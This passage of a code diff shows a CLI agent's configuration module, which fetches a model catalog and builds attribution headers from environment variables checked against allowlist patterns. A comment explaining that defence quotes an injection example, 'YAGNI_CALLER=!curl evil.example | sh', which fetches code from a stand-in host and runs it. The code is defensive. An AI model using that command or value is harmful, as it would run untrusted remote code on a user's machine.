+
message: `Your YAGNI Code session expires in about ${minutes} minute${minutes === 1 ? "" : "s"}. ` +
|
|
70
|
+
"Run `yagni login` to refresh it before it lapses.",
|
|
71
|
+
type: "warning",
|
|
72
|
+
};
|
|
73
|
+
}
|
|
74
|
+
return null;
|
|
75
|
+
}
|
|
76
|
+
/**
|
|
77
|
+
* Fetch the YAGNI model catalog at startup.
|
|
78
|
+
*
|
|
79
|
+
* @throws an actionable Error (mentioning `yagni login`) on any non-2xx
|
|
80
|
+
* response so the launcher can surface a clear re-authentication prompt.
|
|
81
|
+
*/
|
|
82
|
+
export async function fetchCatalog(opts) {
|
|
83
|
+
const res = await resilientFetch(`${opts.baseUrl}/api/yagni-code/models`, { method: "GET", headers: { authorization: `Bearer ${opts.getToken() ?? ""}` } }, { fetchImpl: opts.fetchImpl });
|
|
84
|
+
if (!res.ok) {
|
|
85
|
+
throw new Error(`Failed to fetch YAGNI model catalog (HTTP ${res.status}). Run \`yagni login\` to re-authenticate.`);
|
|
86
|
+
}
|
|
87
|
+
const data = (await res.json());
|
|
88
|
+
return data.models;
|
|
89
|
+
}
|
|
90
|
+
/** Shape-check for a caller label: mirrors the model proxy's own validation regex. */
|
|
91
|
+
const CALLER_LABEL_RE = /^[a-z0-9][a-z0-9:_.-]{0,63}$/i;
|
|
92
|
+
/** Shape-check for a session/run id: the server requires a UUID (v1-v5). */
|
|
93
|
+
const UUID_RE = /^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i;
|
|
94
|
+
/**
|
|
95
|
+
* Attribution headers for the model proxy (YAG-471). On the SERVER side these
|
|
96
|
+
* are labels only: a malformed value is dropped without failing the
|
|
97
|
+
* completion, so this never gates a request there.
|
|
98
|
+
*
|
|
99
|
+
* On the CLIENT side, though, pi itself treats every provider header VALUE as
|
|
100
|
+
* a config template before the request ever leaves the process
|
|
101
|
+
* (`resolveHeadersOrThrow` in pi's `resolve-config-value.ts`): a value
|
|
102
|
+
* starting with `!` is executed as a shell command, and a `$NAME` / `${NAME}`
|
|
103
|
+
* reference is interpolated from env and THROWS the whole request if that env
|
|
104
|
+
* var is unset. These four values ride straight from `process.env` — a stray
|
|
105
|
+
* `YAGNI_CALLER=$SOME_UNSET_VAR` would break every completion, and
|
|
106
|
+
* `YAGNI_CALLER=!curl evil.example | sh` would execute it — so every value is
|
|
107
|
+
* shape-checked against an allowlist BEFORE it goes anywhere near a header. A
|
|
108
|
+
* value that fails the check is dropped (or, for the caller, replaced with the
|
|
109
|
+
* `driver` default) rather than passed through raw; neither allowed charset
|
|
110
|
+
* (`[a-z0-9:_.-]` for the caller, hex + `-` for a UUID) can ever produce a `$`
|
|
111
|
+
* or a leading `!`, so a value that passes can never trigger pi's template or
|
|
112
|
+
* command resolution.
|
|
113
|
+
*
|
|
114
|
+
* `YAGNI_SESSION_ID` / `YAGNI_RUN_ID` MUST be UUIDs (the server also validates
|
|
115
|
+
* them against `llm_usage.session_id`, a UUID column) — the launcher mints the
|
|
116
|
+
* session id and `/go` threads the tracked run's server-assigned id, both
|
|
117
|
+
* already real UUIDs, so the shape check exists for the untrusted/malformed
|
|
118
|
+
* case, not the happy path. `YAGNI_CALLER` defaults to `driver` (an
|
|
119
|
+
* interactive session with no child/subagent/advisor label) whenever it is
|
|
120
|
+
* absent or fails the caller-label shape check.
|
|
121
|
+
*/
|
|
122
|
+
export function attributionHeaders(env = process.env) {
|
|
123
|
+
const headers = {};
|
|
124
|
+
const sessionId = env.YAGNI_SESSION_ID ?? "";
|
|
125
|
+
if (UUID_RE.test(sessionId))
|
|
126
|
+
headers["x-yagni-session-id"] = sessionId;
|
|
127
|
+
const runId = env.YAGNI_RUN_ID ?? "";
|
|
128
|
+
if (UUID_RE.test(runId))
|
|
129
|
+
headers["x-yagni-run-id"] = runId;
|
|
130
|
+
const caller = env.YAGNI_CALLER ?? "";
|
|
131
|
+
headers["x-yagni-caller"] = CALLER_LABEL_RE.test(caller) ? caller : "driver";
|
|
132
|
+
if (env.YAGNI_BOOST === "1")
|
|
133
|
+
headers["x-yagni-boost"] = "1";
|
|
134
|
+
return headers;
|
|
135
|
+
}
|
|
136
|
+
/**
|
|
137
|
+
* Whether THIS process is the interactive driver session, as opposed to a
|
|
138
|
+
* `/go` stage child, a subagent, or an advisor consult. Mirrors
|
|
139
|
+
* {@link attributionHeaders}'s own `x-yagni-caller` resolution exactly (same
|
|
140
|
+
* env var, same shape check, same "driver" fallback) rather than re-deriving
|
|
141
|
+
* it, so the two can never drift: `YAGNI_CALLER` is unset (or fails the
|
|
142
|
+
* caller-label shape check) for the driver, and set to `go:<stage>`,
|
|
143
|
+
* `subagent:<name>`, or `advisor` for everything else (see runner.ts /
|
|
144
|
+
* subagents.ts / askAdvisorTool.ts).
|
|
145
|
+
*
|
|
146
|
+
* branding.ts uses this to gate the delegation-first directive onto the
|
|
147
|
+
* driver's system prompt only: a `/go` stage child has no `subagent` tool, so
|
|
148
|
+
* telling it to delegate is prompt noise at best and a hallucinated tool call
|
|
149
|
+
* at worst.
|
|
150
|
+
*/
|
|
151
|
+
export function isDriverCaller(env = process.env) {
|
|
152
|
+
const caller = env.YAGNI_CALLER ?? "";
|
|
153
|
+
const effective = CALLER_LABEL_RE.test(caller) ? caller : "driver";
|
|
154
|
+
return effective === "driver";
|
|
155
|
+
}
|
|
156
|
+
/**
|
|
157
|
+
* Sanitize a free-form name (a subagent's) into the caller-label charset the
|
|
158
|
+
* model proxy accepts (`/^[a-z0-9][a-z0-9:_.-]{0,63}$/i`, lower-cased
|
|
159
|
+
* server-side): lowercase, replace every disallowed character with `-`, and
|
|
160
|
+
* cap at `maxLength` (default 64, the server's own cap) so a caller can pass a
|
|
161
|
+
* smaller budget to leave room for a prefix like `subagent:`. Falls back to
|
|
162
|
+
* `agent` only when the result is truly empty (a blank/whitespace name) — an
|
|
163
|
+
* all-symbol name instead sanitizes to a run of dashes, which is returned
|
|
164
|
+
* as-is. That means the returned segment can start with `-`, `.`, or `_`, so
|
|
165
|
+
* it is server-valid only when a caller prefixes it with something
|
|
166
|
+
* alphanumeric (as `subagent:` does) to satisfy the leading `[a-z0-9]`
|
|
167
|
+
* requirement; it is not meant to be used as a caller label on its own. The
|
|
168
|
+
* server drops an invalid label silently rather than failing the request, so
|
|
169
|
+
* sanitizing client-side is what keeps the attribution instead of losing it.
|
|
170
|
+
*/
|
|
171
|
+
export function sanitizeCallerSegment(name, maxLength = 64) {
|
|
172
|
+
const cleaned = name.trim().toLowerCase().replace(/[^a-z0-9_.-]/g, "-");
|
|
173
|
+
const trimmed = cleaned.slice(0, Math.max(0, maxLength));
|
|
174
|
+
return trimmed || "agent";
|
|
175
|
+
}
|
|
176
|
+
/**
|
|
177
|
+
* Fetch the workspace company brief at startup.
|
|
178
|
+
*
|
|
179
|
+
* Unlike {@link fetchCatalog}, this is BEST-EFFORT: a missing or failed brief
|
|
180
|
+
* must never block the agent (it still works, just without boot-time grounding).
|
|
181
|
+
* Returns `null` on any non-2xx response or network error.
|
|
182
|
+
*/
|
|
183
|
+
export async function fetchContextBrief(opts) {
|
|
184
|
+
try {
|
|
185
|
+
const res = await resilientFetch(`${opts.baseUrl}/api/yagni-code/context`, { method: "GET", headers: { authorization: `Bearer ${opts.getToken() ?? ""}` } }, { fetchImpl: opts.fetchImpl });
|
|
186
|
+
if (!res.ok)
|
|
187
|
+
return null;
|
|
188
|
+
return (await res.json());
|
|
189
|
+
}
|
|
190
|
+
catch {
|
|
191
|
+
return null;
|
|
192
|
+
}
|
|
193
|
+
}
|
|
194
|
+
//# sourceMappingURL=config.js.map
|